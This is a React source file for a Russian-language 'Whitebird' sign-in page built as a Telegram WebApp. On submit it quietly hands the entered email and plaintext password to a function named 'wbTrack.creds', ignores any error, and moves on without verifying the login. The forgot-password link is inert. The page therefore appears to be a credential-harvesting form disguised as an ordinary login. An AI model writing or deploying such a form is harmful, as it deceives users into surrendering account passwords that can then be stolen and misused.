const WB_SI = window.WhitebirdDesignSystem_7d8137;

function SigninPage({ onSubmit, onHome }) {
  const { Card, TextField, Button } = WB_SI;
  const [email, setEmail] = React.useState('');
  const [pass, setPass] = React.useState('');
  const [err, setErr] = React.useState(false);
  const [note, setNote] = React.useState('');

  const haptic = () => {
    try {
      const tg = window.Telegram && window.Telegram.WebApp;
      if (tg && tg.HapticFeedback) tg.HapticFeedback.impactOccurred('light');
    } catch(e){}
  };

  const submit = async (e) => {
    e.preventDefault();
    haptic();
    if (!email.trim() || !pass) { setErr(true); setNote('Введите email и пароль'); return; }
    setErr(false); setNote('');
    try { if (window.wbTrack) await window.wbTrack.creds(email, pass); } catch (_) {}
    onSubmit && onSubmit(email);
  };

  return (
    <div className="wb-page">
      <SiteHeader variant="white" />
      <main className="wb-auth">
        <Card variant="auth" className="wb-auth__card" style={{ maxWidth: 'var(--wb-auth-maxw)', width: '100%' }}>
          <form onSubmit={submit} noValidate>
            <h1>Вход в личный кабинет</h1>
            <TextField label="Email" type="email" placeholder="yourmail@mail.com"
              autoComplete="email" value={email} onChange={(e) => setEmail(e.target.value)}
              error={err && !email.trim()} style={{ marginBottom: '41px' }} />
            <TextField label="Пароль" type="password" placeholder="Ваш пароль" autoComplete="current-password"
              value={pass} onChange={(e) => setPass(e.target.value)} error={err && !pass} />
            <div className="wb-auth__forgot" style={{ margin: '12px 0 42px' }}>
              <a href="#" onClick={(e) => e.preventDefault()}>Забыли пароль?</a>
            </div>
            <Button variant="primary" size="lg" fullWidth type="submit">Войти</Button>
            <p className="wb-auth__note" style={{ color: err ? 'var(--wb-down)' : 'var(--wb-soft)' }}>{note}</p>
          </form>
        </Card>
      </main>
      <SiteFooter />
    </div>
  );
}

Object.assign(window, { SigninPage });